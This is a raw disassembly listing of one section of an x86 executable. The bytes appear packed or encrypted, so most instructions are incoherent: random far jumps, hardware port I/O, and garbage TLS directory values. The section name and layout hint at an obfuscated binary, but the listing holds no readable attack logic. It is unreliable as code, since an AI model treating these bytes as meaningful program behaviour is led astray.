XREF: wto1jq8f:loc_427CA9p db 65h scas byte ptr es:[edi] xlat add ah, [edi+4Eh] inc byte ptr ds:8DBDDA44h setalc scasd sbb ecx, eax inc esi mov cl, 0C5h xlat loc_42F99B: ; CODE XREF: wto1jq8f:00429915j sbb edx, eax dec eax mov ecx, 9B992885h sal dword ptr [ebx+2F16FB57h], cl ; --------------------------------------------------------------------------- db 39h, 5, 0F5h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42F9AC proc near ; CODE XREF: sub_429E77+7p ; wto1jq8f:0042D8CEj rep push edi fucom st cli xchg eax, esp pop ds push ds loc_42F9B4: ; CODE XREF: sub_426461+4j ; sub_426461+Fj ... scasd loc_42F9B5: ; CODE XREF: sub_42B5D9+6j ; sub_426461:loc_42E98Ej cmp [eax+50608C27h], eax and eax, 0AB70D8BFh in al, 5Fh loc_42F9C2: ; CODE XREF: wto1jq8f:0042A822j ; sub_4242D6+688Cj ... db 36h mov edx, 0DC94741Ah loc_42F9C9: ; CODE XREF: sub_42DC5C-7485p db 3Eh mov ecx, 0AEB2D7h pop esp rcl ebx, 1 loc_42F9D2: ; CODE XREF: sub_4250D4:loc_42AAD4j jmp near ptr 0C656F797h sub_42F9AC endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42970D loc_42F9D7: ; CODE XREF: sub_42970D+14BEj fdivrp st(4), st pusha push eax ; END OF FUNCTION CHUNK FOR sub_42970D ; --------------------------------------------------------------------------- db 0B3h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C0DF loc_42F9DC: ; CODE XREF: sub_42C0DF:loc_427A25j mov dl, 0FBh dec ebx push eax pusha or eax, esp insb loc_42F9E4: ; CODE XREF: wto1jq8f:00424D04j lock or cl, [edi+55816DFEh] insd mov dword ptr [ebx-46h], 7F0385C0h jge short near ptr loc_42F9C2+5 push edi loc_42F9F6: ; CODE XREF: sub_42D4FD:loc_42DBF9j ficomp dword ptr [edx+0CC17B56h] insb fcom st(5) jnp short near ptr loc_42FA46+1 add dl, [eax+59h] ; END OF FUNCTION CHUNK FOR sub_42C0DF ; --------------------------------------------------------------------------- db 69h, 0BFh, 7Ah ; --------------------------------------------------------------------------- loc_42FA07: ; CODE XREF: wto1jq8f:0042FA67j add eax, 2DAEF84Eh dec edx loc_42FA0D: ; CODE XREF: wto1jq8f:0042E16Cj aad 0D2h loc_42FA0F: ; CODE XREF: sub_426313+EEBp db 3Eh adc [ecx+7115BE9Fh], ecx adc eax, 0FBBFFE05h xchg eax, ecx cwde xor esp, edi sahf loc_42FA20: ; CODE XREF: wto1jq8f:loc_42B042j call near ptr 2EEB6DDFh jbe short loc_42FA64 pusha movsd xchg eax, edx nop loc_42FA2B: ; CODE XREF: wto1jq8f:0042A67Fj mov ds:0C2B51DEDh, bl mov bh, 9Ch inc esp loc_42FA34: ; CODE XREF: wto1jq8f:0042A1EEj adc eax, 8B08B937h dec ecx or dword ptr [eax-182B94D1h], 4F57E1D6h add al, 80h loc_42FA46: ; CODE XREF: sub_42C0DF+3920j rep fidivr dword ptr [edx] mov dh, 6 dec edi ; --------------------------------------------------------------------------- dd 68FBC5h, 0C425492Eh, 0A666AA58h, 8E1A9874h, 7D188Eh ; --------------------------------------------------------------------------- inc ebp loc_42FA61: ; CODE XREF: wto1jq8f:00429A08j setalc push cs ; --------------------------------------------------------------------------- byte_42FA63 db 3Ch ; CODE XREF: sub_424D58+AD23j ; --------------------------------------------------------------------------- loc_42FA64: ; CODE XREF: wto1jq8f:0042FA25j rol dword ptr [eax+1Dh], 1 jge short loc_42FA07 loc_42FA69: ; CODE XREF: wto1jq8f:0042FAB0j ; sub_424D58+AD25j fsubr dword ptr [eax-63h] ; START OF FUNCTION CHUNK FOR sub_424D58 loc_42FA6C: ; CODE XREF: sub_424D58:loc_42C585j cmp ebx, [ebp+27h] mov ds:1FF316Dh, eax call far ptr 5872h:0BD8A545Eh loope near ptr byte_42FA63 jbe short near ptr loc_42FA69+1 push es retf ; END OF FUNCTION CHUNK FOR sub_424D58 ; --------------------------------------------------------------------------- rol byte ptr [ebx], 67h ; START OF FUNCTION CHUNK FOR sub_42A909 loc_42FA84: ; CODE XREF: sub_42A909+3B0j cmpsd mov dl, 41h out 0A3h, eax ; Interrupt Controller #2, 8259A loc_42FA89: ; CODE XREF: wto1jq8f:004293FAj mov eax, 0FB98DA24h ; END OF FUNCTION CHUNK FOR sub_42A909 ; START OF FUNCTION CHUNK FOR sub_428183 loc_42FA8E: ; CODE XREF: wto1jq8f:00424269j ; sub_428183+796Aj ... adc ecx, ds:3C6237B7h and byte ptr [ebx-3CB0DD0Ch], 64h retn 0BEB8h ; END OF FUNCTION CHUNK FOR sub_428183 ; --------------------------------------------------------------------------- dw 2555h dd 6C85399Eh, 8151783Eh ; [00000003 BYTES: COLLAPSED FUNCTION nullsub_28. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- lodsd sbb dl, cl loc_42FAAE: ; CODE XREF: wto1jq8f:0042A7B4j cmp ebp, [esi] jnz short loc_42FA69 xchg ebp, [ebx] inc edx xlat cli stosb db 26h mov esp, 3A8086AEh pop ecx push es inc ebp push esi stc ; START OF FUNCTION CHUNK FOR sub_428183 loc_42FAC3: ; CODE XREF: sub_428183+Bj ; sub_428183+79ADj inc eax loc_42FAC4: ; CODE XREF: wto1jq8f:0042D25Bj ; sub_42CB36+1D28j cmp eax, 0BBA7C8AFh loc_42FAC9: ; CODE XREF: sub_42D496-6D4Bj cmp ecx, eax pusha out 7Bh, al lea edx, [edi+73F194BDh] sub al, 0B8h aas db 36h jecxz short near ptr loc_42FB28+2 loopne loc_42FADF ; CODE XREF: sub_428183+795Aj push edx loope near ptr loc_42FADA+1 loc_42FADF: ; CODE XREF: sub_428183:loc_42FADAj push edi pushf mov ch, 0C5h out 5Eh, al inc edi mov ebp, 0AE325924h jge short loc_42FB58 jb short loc_42FA8E pusha mov es:3FEB1C84h, eax ; CODE XREF: sub_428183+79B0j in al, 20h ; Interrupt controller, 8259A. lock dec byte ptr [eax-794DBC5Ah] inc edx inc edx sbb cl, [ebx+6Ch] sti enter 0FFFFB321h, 0E1h js short loc_42FB24 das repne rol dword ptr [ebx-10DFFFB7h], cl outsd loc_42FB14: ; CODE XREF: sub_427DA7+1Ej fyl2x lea esi, [edi] fdiv dword ptr [eax+ebp+1B6C05D5h] loc_42FB1F: ; CODE XREF: sub_4291B9:loc_429440j sub eax, 28F9152Ch loc_42FB24: ; CODE XREF: sub_428183+7986j stosb mov cl, [eax+28h] loc_42FB28: ; CODE XREF: sub_426535+127Aj ; sub_428183+7954j repne aam 0BEh loc_42FB2B: ; CODE XREF: sub_4283CC+7B9p ; sub_428DDD+4p ... mov ds:8F3D0673h, al jz short loc_42FAC3 loc_42FB32: ; CODE XREF: sub_42CB36:loc_42FB6Cj pop edx db 65h jge short near ptr loc_42FAF0+4 loc_42FB36: ; CODE XREF: wto1jq8f:0042FB6Aj add cl, [eax] shr dword ptr [ecx-25ED38FCh], 18h dec esp push edx mov dl, 2Ah movsb ; END OF FUNCTION CHUNK FOR sub_428183 ; --------------------------------------------------------------------------- dword_42FB44 dd 1917CBDCh ; sub_42A8ED:loc_42BA9Fw ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42FB48: ; CODE XREF: sub_426535+1E92j sbb [eax+55F1F73Ch], bh ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- dw 15BAh dword_42FB50 dd 0BD5CF10Fh ; sub_42B02D-221Cr ... ; --------------------------------------------------------------------------- loc_42FB54: ; CODE XREF: wto1jq8f:0042DEA8j xor al, 12h ; --------------------------------------------------------------------------- dw 0EDA3h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428183 loc_42FB58: ; CODE XREF: sub_428183+7968j aas pusha nop ; END OF FUNCTION CHUNK FOR sub_428183 ; --------------------------------------------------------------------------- byte_42FB5B db 69h ; CODE XREF: sub_42CB36:loc_42FB71j dword_42FB5C dd 33CEF40Fh ; sub_42B02D:loc_42B393w ... ; --------------------------------------------------------------------------- loc_42FB60: ; CODE XREF: wto1jq8f:0042736Fj push ss rcl ebx, 1 ; --------------------------------------------------------------------------- db 0FEh ; --------------------------------------------------------------------------- mov dl, 0F8h inc ecx loc_42FB67: ; DATA XREF: sub_424585+Co ; sub_424585+35A8o ... xor cl, 0B4h ja short loc_42FB36 ; START OF FUNCTION CHUNK FOR sub_42CB36 loc_42FB6C: ; CODE XREF: sub_42CB36-633Bj jnb short loc_42FB32 and cl, 24h loc_42FB71: ; CODE XREF: sub_427143+2A5Ej jnp short near ptr byte_42FB5B call fword ptr [ebp-4] db 36h, 36h ; CODE XREF: sub_42CB36+3040j jnb short near ptr loc_42FB76+1 or bl, [edx] lock pop ecx loc_42FB7E: ; CODE XREF: sub_42E919+10j push esp loc_42FB7F: ; CODE XREF: wto1jq8f:0042BEBBj dec dword ptr [edi+edx*2+557C2242h] fcomp dword ptr [ebp+270CCA07h] ; END OF FUNCTION CHUNK FOR sub_42CB36 ; --------------------------------------------------------------------------- dd 5DF5D0FEh, 0E7F6F67Bh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A3DA loc_42FB94: ; CODE XREF: sub_42A3DA+2949j pusha adc al, 0E0h jg short loc_42FC0C loc_42FB99: ; CODE XREF: wto1jq8f:0042D6B9j sub ebp, [eax-26933EC3h] fcmovnu st, st(6) loc_42FBA1: ; CODE XREF: wto1jq8f:0042CCADj ; sub_42A3DA:loc_42FBA1j jecxz short loc_42FBA1 mov gs, [eax-0E7C4062h] inc esi out dx, eax loc_42FBAB: ; CODE XREF: wto1jq8f:0042C94Cj mov edx, 0AF3B883Dh push 0FFFFFFFBh push es loc_42FBB3: ; CODE XREF: wto1jq8f:0042E0D7p xchg ecx, ds:0E0012B9Eh mov cl, 44h sub [esi-4Eh], bh retf 5BF6h ; END OF FUNCTION CHUNK FOR sub_42A3DA ; --------------------------------------------------------------------------- db 15h, 18h, 0B2h db 0F6h, 54h, 64h byte_42FBC7 db 0A0h ; DATA XREF: sub_4272B5+Co dd 11486C67h, 0F0427B14h, 8B7BFE81h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AEDD loc_42FBD4: ; CODE XREF: sub_42AEDD+12j lea edx, [ecx-536C44DCh] inc ebx ; END OF FUNCTION CHUNK FOR sub_42AEDD ; --------------------------------------------------------------------------- db 0FFh db 7Dh, 0AEh, 49h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42BE69 loc_42FBDF: ; CODE XREF: sub_42BE69+7j inc edx ; END OF FUNCTION CHUNK FOR sub_42BE69 ; --------------------------------------------------------------------------- dd 40B2328Ch ; --------------------------------------------------------------------------- loc_42FBE4: ; CODE XREF: wto1jq8f:loc_42FBEFj or ebx, [edx] mov esp, [eax] wait adc esp, [edx-79h] pop ds push edi cmpsb loc_42FBEF: ; CODE XREF: wto1jq8f:004241B7j jnp short loc_42FBE4 stosd pop ebx and [ebp+7CEB7CCBh], ah adc al, 0ACh mov bh, 1Ah ; =============== S U B R O U T I N E ======================================= sub_42FBFD proc near ; CODE XREF: sub_426535-411p ; FUNCTION CHUNK AT 0042FC56 SIZE 0000001C BYTES popa mov word ptr cs:[ebp+7529DCFh], ds sti imul esp, [edx], 4Fh adc [ebx], dl dec esp loc_42FC0C: ; CODE XREF: sub_42A3DA+57BDj rcr dword ptr [ecx-39h], 3 loc_42FC10: ; CODE XREF: sub_429281+3040j sub dword ptr [edx], 3209DBDBh cmc mov ebx, 0D55D1A2Ah mov [ebp+ebp*4-7Fh], al or eax, 0DF6B607Fh push ecx pop esp inc ebx loc_42FC29: ; CODE XREF: sub_42FBFD+5Dj scasb mov bh, 0Bh mov ebx, 0D9B8F39Ah jnb short loc_42FC5D les ecx, [edi] xchg eax, esi push ss dec eax loc_42FC39: ; CODE XREF: wto1jq8f:0042C1E3j cmp dh, bh add al, 0BEh and [esi+33h], bl sub_42FBFD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42FC41 proc near ; CODE XREF: sub_424D63+6p ; wto1jq8f:loc_42764Dj in eax, 3Ch outsd xor eax, 679BFC0Eh call far ptr 0F153h:7A6FDA10h loc_42FC50: ; CODE XREF: wto1jq8f:00429B5Bj ; sub_42DFF0+1p jmp near ptr 33F19244h sub_42FC41 endp ; --------------------------------------------------------------------------- db 0C5h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FBFD loc_42FC56: ; CODE XREF: sub_42FBFD:loc_42FC5Dj dec ebx inc esp aam 0C5h jz short loc_42FC29 pushf loc_42FC5D: ; CODE XREF: sub_42FBFD+35j ; sub_42DC5C+65j jp short loc_42FC56 setalc mov cl, 60h insd loc_42FC63: ; CODE XREF: wto1jq8f:0042C96Aj add al, 0ADh in al, 0DBh loc_42FC67: ; CODE XREF: sub_426D4F+Cj sub esi, [ecx] inc ebx pop edi pop es mov ds:21E5B31Eh, al dec eax ; END OF FUNCTION CHUNK FOR sub_42FBFD ; --------------------------------------------------------------------------- word_42FC72 dw 0B8FFh ; CODE XREF: sub_426350+158Bj ; --------------------------------------------------------------------------- loc_42FC74: ; CODE XREF: wto1jq8f:004272AAj ; wto1jq8f:00427B79j xchg eax, edi jmp far ptr 298Fh:6E1F5A46h ; --------------------------------------------------------------------------- dd 830C4883h, 0D16A1BD1h db 38h ; =============== S U B R O U T I N E ======================================= sub_42FC85 proc near ; CODE XREF: sub_4260A9+Cp ; wto1jq8f:004272A2p ... xor dword ptr [edx-1699F457h], 6 sub ebx, [ebx+3Fh] cmp ebx, [edx] xor eax, 72048923h loop loc_42FCF9 loc_42FC98: ; CODE XREF: wto1jq8f:loc_428E97j ; wto1jq8f:loc_42B196j or byte ptr [edi-44233F0Dh], 84h jmp far ptr 87E5h:2F1C6FCAh ; CODE XREF: sub_427A8D:loc_42FCF9j sub_42FC85 endp ; --------------------------------------------------------------------------- dw 661Ch dd 0DB09BDFFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42FCAC: ; CODE XREF: sub_426535:loc_426C94j ; sub_426535+4EF8j adc eax, 0C01EA27Dh push ss sal ch, 1 mov eax, ds:15471CADh fadd dword ptr [esi+ebp*8] loc_42FCBC: ; CODE XREF: sub_42A0E5+3008j dec ecx scasb db 3Eh js short loc_42FD00 loc_42FCC1: ; CODE XREF: sub_42AA68+12A7j jg short near ptr sub_42FC85+1 shr byte ptr [edx-2BBF44DFh], 7Bh xchg eax, edx insb dec eax hlt ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- dw 0EBA9h db 6Eh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427A8D loc_42FCD1: ; CODE XREF: sub_427A8D+Cj mov eax, 66B77BA5h sbb eax, 390B1CC1h out 8Ch, eax and [ebx+45h], ebx loc_42FCE0: ; CODE XREF: sub_4260DB:loc_42C24Cj mov eax, ds:0DD6A8851h dec ecx mov [esi], eax push esi inc dword ptr [eax+9] cmp esp, [esi+1093E24Fh] ; CODE XREF: wto1jq8f:0042FD40j cmp [ecx+57h], ebp adc dword ptr [ebp+21h], 0FFFFFF9Dh loc_42FCF9: ; CODE XREF: sub_42FC85+11j jb short near ptr loc_42FC9F+4 dec ecx fadd dword ptr [edi] jbe short loc_42FD1B loc_42FD00: ; CODE XREF: sub_426535+9789j ; sub_42CED1:loc_42D31Dj mov dword ptr ds:0D2FE0ADh, 7436DB1h jmp far ptr 6C5Fh:75AC8D7Dh ; CODE XREF: wto1jq8f:0042FD3Ej ; END OF FUNCTION CHUNK FOR sub_427A8D ; --------------------------------------------------------------------------- db 0E7h, 0D7h, 7Dh ; --------------------------------------------------------------------------- push cs retf 44Bh ; --------------------------------------------------------------------------- db 1Eh, 0AEh, 6Ah ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427A8D loc_42FD1B: ; CODE XREF: sub_427A8D+8271j das stosb movsb loc_42FD1E: ; CODE XREF: sub_426535:loc_42DC4Dj ; sub_42CF00+Ej imul ebx, [esi], 55971112h loc_42FD24: ; CODE XREF: sub_4294F4+13j sub ebp, [ebp+42B0991h] loc_42FD2A: ; CODE XREF: sub_4296B3+66A2j ; wto1jq8f:0042FD43j les ebp, [eax+37h] loc_42FD2D: ; CODE XREF: sub_4292B9+Cj cdq ; END OF FUNCTION CHUNK FOR sub_427A8D ; --------------------------------------------------------------------------- dw 0FC8Dh dd 5BF42D14h, 9C6D62CBh, 0BDDA0868h db 7Ah ; --------------------------------------------------------------------------- loc_42FD3D: ; CODE XREF: wto1jq8f:00424CFFj xchg eax, esi jbe short near ptr loc_42FD0A+1 jnz short near ptr loc_42FCEC+5 loc_42FD42: ; DATA XREF: sub_42CBD1-4712o movsb jz short near ptr loc_42FD2A+2 jmp near ptr 0F335A670h ; --------------------------------------------------------------------------- dw 0D601h db 0D4h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4296B3 loc_42FD4D: ; CODE XREF: sub_4296B3+19j out dx, eax loc_42FD4E: ; CODE XREF: wto1jq8f:00427290j and ah, [esp+edx+8+var_4A131E7C] loopne loc_42FD2A ; END OF FUNCTION CHUNK FOR sub_4296B3 ; --------------------------------------------------------------------------- byte_42FD57 db 0FEh ; CODE XREF: sub_4294F4+Dj ; sub_4244EA:loc_42A4E4j db 55h, 0C6h, 90h ; --------------------------------------------------------------------------- loc_42FD5B: ; CODE XREF: wto1jq8f:0042FD70j sbb eax, 6229907Fh rol byte ptr [edx+0Fh], 1 in al, 92h popa loc_42FD66: ; CODE XREF: wto1jq8f:00425CAFj stosd shr byte ptr [ecx], cl push 57h mov esi, 0B03ABCFh db 64h jge short loc_42FD5B xchg ch, [ecx-4Bh] pusha mov ss, word ptr [ebp-3E13F44Ch] ; --------------------------------------------------------------------------- assume ss:nothing db 0E5h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426350 loc_42FD7E: ; CODE XREF: sub_426350+8693j jnb short loc_42FD9D fmul dword ptr [eax+72h] ; END OF FUNCTION CHUNK FOR sub_426350 ; --------------------------------------------------------------------------- db 0Fh dd 480B7319h, 9F906246h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A30F loc_42FD8C: ; CODE XREF: sub_42A30F:loc_42808Cj ; sub_42A30F+1E23j mov ds, word ptr [esi] dec ebx cmp [edx], ebx mov al, ds:83CCBEA1h or ebx, [edx-83A3666h] pop es ; END OF FUNCTION CHUNK FOR sub_42A30F ; START OF FUNCTION CHUNK FOR sub_426350 loc_42FD9D: ; CODE XREF: sub_426350:loc_42FD7Ej insd db 67h daa mov ah, 0B1h in eax, dx jge short loc_42FDB4 in eax, dx loc_42FDA6: ; CODE XREF: sub_42A30F:loc_42DE49j outsb pop ebx loc_42FDA8: ; CODE XREF: wto1jq8f:loc_42FDF2j sbb eax, [esi] ; END OF FUNCTION CHUNK FOR sub_426350 ; --------------------------------------------------------------------------- dw 270Fh dd 1820C2D1h, 86F14AE2h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426350 loc_42FDB4: ; CODE XREF: sub_426350+9A53j rcl ch, 0Bh xor [edx], bl adc [ebx-2Eh], esp out 0CAh, al ; DMA controller, 8237A-5. ; single mask bit register ; 0-1: select channel (00=0; 01=1; 10=2; 11=3) ; 2: 1=set mask for channel; 0=clear mask (enable) insb xchg eax, ebx aas inc edi inc ecx and edi, [ebx+47h] add al, 43h sahf add [ebx-15h], ch loc_42FDCC: ; DATA XREF: sub_4293FF:loc_42C8FCo db 3Eh and al, 61h test ecx, esp sbb eax, 76717683h lodsd out dx, al aaa xchg eax, edi xchg eax, ebp stosb rcr dword ptr [eax-16h], 1 outsb sbb eax, 7543612Dh mov ch, 20h sub ebx, [ebp+5Fh] jmp near ptr 0F54F039h ; END OF FUNCTION CHUNK FOR sub_426350 ; --------------------------------------------------------------------------- db 91h ; --------------------------------------------------------------------------- inc ebp push esi loc_42FDF2: ; DATA XREF: sub_42B02D:loc_42E090o jbe short loc_42FDA8 push cs xor dl, ds:0A83EEAD2h cmpxchg [ecx-633B6ED5h], ecx loc_42FE02: ; CODE XREF: wto1jq8f:0042FE04j jnz short near ptr word_42FE3A jz short loc_42FE02 ; --------------------------------------------------------------------------- db 0CEh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428C71 loc_42FE07: ; CODE XREF: sub_428C71+53F5j push edx inc eax aaa lds esp, [eax-64h] in al, 59h sub al, 0C2h loope sub_42FE77 out 0A3h, al ; Interrupt Controller #2, 8259A xor esp, [esi+23h] cmp [eax+32h], ebp push ebp loc_42FE1D: ; CODE XREF: wto1jq8f:0042EA17j and ah, [esi+16F64B22h] locret_42FE23: ; CODE XREF: wto1jq8f:loc_42D503j retf 52CDh ; END OF FUNCTION CHUNK FOR sub_428C71 ; --------------------------------------------------------------------------- dw 87D2h dd 0BD0A0E86h, 0FD22889Fh, 3256B599h, 0DD194038h db 4Dh, 7 word_42FE3A dw 0E83Eh ; CODE XREF: wto1jq8f:loc_42FE02j db 57h, 7Bh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CB36 loc_42FE3E: ; CODE XREF: sub_42CB36+896j clc mov eax, esp or [ecx+8DA248Ah], ch loc_42FE47: ; CODE XREF: sub_42FE77+2Fj mov dh, 30h shl ecx, cl loc_42FE4B: ; CODE XREF: sub_42992F+3p sbb eax, edi fldenv byte ptr [eax-373640B7h] sub [ebx-21B7395Ah], bl dec eax loc_42FE5A: ; CODE XREF: sub_42414C+3j test [ebx], esp out dx, al cmp [edx-19h], ebp sub al, 0B8h pop ecx sbb ebp, esp enter 0FFFFF0CDh, 7Ch aas into mov cl, 45h stosb mov ds:0A9F040F9h, eax retf 0A584h ; END OF FUNCTION CHUNK FOR sub_42CB36 ; --------------------------------------------------------------------------- db 0BDh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42FE77 proc near ; CODE XREF: sub_4272CB+9p ; sub_426535+3ABFj ... mov bh, 13h mov al, es:32413D8Fh test eax, 92EC965Fh loc_42FE84: ; CODE XREF: sub_42B5C9+Bj lock adc [ebx+ebx*2+47B23A8Bh], al mov bh, 5Bh enter 34DBh, 0 xor esp, [edi+edi*2] loc_42FE95: ; CODE XREF: sub_4284EC+7A10j mov edx, 67C39EBh fcomip st, st ; CODE XREF: wto1jq8f:0042FF06j cmc db 67h jns near ptr 0FEF0h test [edx-5EAE9CF0h], dh ; CODE XREF: sub_4284EC+79FFj jle short loc_42FE47 retn 93D3h ; CODE XREF: sub_4284EC+7A0Cj sub_42FE77 endp ; sp-analysis failed ; --------------------------------------------------------------------------- cmpsb ; START OF FUNCTION CHUNK FOR sub_4284EC loc_42FEAC: ; CODE XREF: sub_4284EC:loc_42FF18j mov ds:0FC20B6F1h, al mov esp, 8D9F19B0h pop ebx cwde ; END OF FUNCTION CHUNK FOR sub_4284EC ; START OF FUNCTION CHUNK FOR sub_4269FD loc_42FEB8: ; CODE XREF: sub_4269FD:loc_424FCCj push ds db 26h mov esp, 59D7CD60h outsd fadd st(6), st cmpsb popa ; END OF FUNCTION CHUNK FOR sub_4269FD ; --------------------------------------------------------------------------- dd 7482F88Ch, 1BBD2D89h, 0FAA7D775h, 809D2B6Ch, 0BD224F32h ; --------------------------------------------------------------------------- loc_42FED8: ; CODE XREF: sub_424D3A+66DEp ; wto1jq8f:0042D8EFj pop ebx ; --------------------------------------------------------------------------- byte_42FED9 db 0CDh, 34h ; CODE XREF: sub_4284EC+7A04j ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4284EC loc_42FEDB: ; CODE XREF: sub_4284EC+7A65j or [edi], esi push ecx movsd loc_42FEDF: ; CODE XREF: wto1jq8f:loc_42A5ECj setnle [ebp+arg_2368CF1D] or bh, [ebp-19h] stosb icebp loop near ptr loc_42FEA0+1 db 26h out 3Fh, eax jecxz short near ptr byte_42FED9 inc esp sbb eax, 1F2F252Bh jnb short near ptr locret_42FEA8+2 cli dec edx jg short loc_42FE95 ; END OF FUNCTION CHUNK FOR sub_4284EC ; --------------------------------------------------------------------------- dw 99D8h db 0A9h, 0EFh, 0EBh ; --------------------------------------------------------------------------- loc_42FF03: ; CODE XREF: wto1jq8f:loc_426417j fst qword ptr [edi+ebx*2] loop near ptr loc_42FE9A+1 cmp [eax+40h], cl xor eax, 7D1C63F6h mov ecx, 0E54A76CAh shr dword ptr [edi+6Bh], 1 ; START OF FUNCTION CHUNK FOR sub_4284EC loc_42FF18: ; CODE XREF: sub_4284EC+1CA6j jp short loc_42FEAC lds eax, [eax-68h] loc_42FF1D: ; CODE XREF: wto1jq8f:loc_42FF90j sar dword ptr [ecx+ebp*2-42h], 1 pop esp db 3Eh cmp ch, [esi] lahf push 0FFFFFFF1h aas push esp loc_42FF2A: ; CODE XREF: sub_429281:loc_429EE5j add [ebx+15E83D10h], cl fcom dword ptr [ebx-1FDD11C5h] ; CODE XREF: sub_4284EC+7A84j ja short near ptr loc_42FF76+1 sbb ebx, 54AF047Eh or [ebx+edi*2-1Bh], bl sal dh, 1 movsd jl short loc_42FFAC pop es aam 28h mov ah, 82h adc [ebx], eax out dx, al jle short near ptr loc_42FFCE+1 js short loc_42FEDB setalc or [ebx], edi mov edx, 0F8F9ADB6h loc_42FF5B: ; CODE XREF: wto1jq8f:loc_42C665j les ecx, [edx-0Eh] out 43h, eax ; Timer 8253-5 (AT: 8254.2). and ebp, eax loc_42FF62: ; CODE XREF: sub_424D58+4593j xchg eax, esi and bh, [ebx+2Eh] dec edi loc_42FF67: ; CODE XREF: wto1jq8f:00424D2Ej cld mov ds:8E0B990Ah, al db 3Eh ja short loc_42FF76 ja short near ptr loc_42FF30+3 adc bh, [esp+eax*8+8+var_8] xchg eax, esp loc_42FF76: ; CODE XREF: sub_4284EC+7A81j ; sub_4284EC+7A4Aj mov dword ptr [eax+2F938AD6h], 0F534E3EFh inc esp xchg bl, [eax+24h] sbb al, 4Ch dec ebx push ds push es scasd cli pop edx ; END OF FUNCTION CHUNK FOR sub_4284EC ; --------------------------------------------------------------------------- dd 0ADB78E3Eh ; --------------------------------------------------------------------------- loc_42FF90: ; CODE XREF: wto1jq8f:0042CC8Cj jge short loc_42FF1D jnp short loc_42FFC0 in eax, dx loc_42FF95: ; CODE XREF: wto1jq8f:0042A883j sahf inc ebp pusha and eax, 0CB1ACE41h pop esp icebp movsd push cs jg short loc_42FFA6 push ebp insb ; --------------------------------------------------------------------------- db 7Fh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4282A6 loc_42FFA6: ; CODE XREF: sub_4282A6+Aj ; wto1jq8f:0042FFA1j aam 0ABh inc ebx mov bl, 0B6h ; END OF FUNCTION CHUNK FOR sub_4282A6 ; --------------------------------------------------------------------------- db 88h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4284EC loc_42FFAC: ; CODE XREF: sub_4284EC+7A59j push eax in eax, 6Ch or al, 6 dec ecx loc_42FFB2: ; CODE XREF: sub_42B353+4C79j push esi not esp loc_42FFB5: ; CODE XREF: wto1jq8f:00425AE1j dec ebp sti retf 8A26h ; END OF FUNCTION CHUNK FOR sub_4284EC ; --------------------------------------------------------------------------- word_42FFBA dw 3DFFh ; CODE XREF: sub_42D496+1Ap dd 2546BCE6h ; --------------------------------------------------------------------------- loc_42FFC0: ; CODE XREF: wto1jq8f:0042FF92j xchg eax, esp fidivr word ptr [eax+62F69A44h] push edx push ds out 0E3h, eax ; START OF FUNCTION CHUNK FOR sub_42B353 loc_42FFCB: ; CODE XREF: sub_42B353-2289j xchg eax, ebx jbe short loc_42FFB2 loc_42FFCE: ; CODE XREF: sub_4284EC+7A63j sbb ecx, [ebp+var_6C+1] sti loc_42FFD2: ; CODE XREF: sub_42ADC7:loc_42A72Aj jmp far ptr 564Eh:9E5DAFC4h ; END OF FUNCTION CHUNK FOR sub_42B353 ; --------------------------------------------------------------------------- db 0A7h, 8Ch, 0BBh ; --------------------------------------------------------------------------- jl short loc_43003A ; =============== S U B R O U T I N E ======================================= sub_42FFDE proc near ; CODE XREF: sub_4250D4+3p ; wto1jq8f:loc_427989p scasb cmc out 81h, al ; DMA page register 74LS612: ; Channel 2 (diskette DMA) (address bits 16-23) xor ebp, [ebp-76F86B78h] retn 8DE1h sub_42FFDE endp ; --------------------------------------------------------------------------- db 31h dd 13A1B577h, 834CC19Fh, 0DA48EC2h, 4CA683CAh, 533994E8h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D4FD loc_430000: ; CODE XREF: sub_42D4FD:loc_42D564j in al, 0C1h ; DMA controller, 8237A-5. ; channel 0 current word count mul edi in eax, dx sbb [esi-1BCEDF8Ah], ch fdivr dword ptr ds:632FE2F5h into into retf 0C554h ; END OF FUNCTION CHUNK FOR sub_42D4FD ; --------------------------------------------------------------------------- db 2Eh TlsDirectory dd 5C9F1EC8h TlsEnd_ptr dd 51795F28h TlsIndex_ptr dd 0FAF7B64Fh TlsCallbacks_ptr dd 11B68A6Eh TlsSizeOfZeroFill dd 731F31EAh TlsCharacteristics dd 0F0500B43h db 76h dd 0D4F2EAB6h, 157703Bh db 9Fh, 6Fh ; --------------------------------------------------------------------------- loc_43003A: ; CODE XREF: wto1jq8f:0042FFDCj lock pusha stc ; --------------------------------------------------------------------------- db 0DAh, 0F5h, 56h dd 4D86D7C1h, 0F0821AC4h, 0F5DDD326h, 0AE3B243Fh, 5BE4681Ah dd 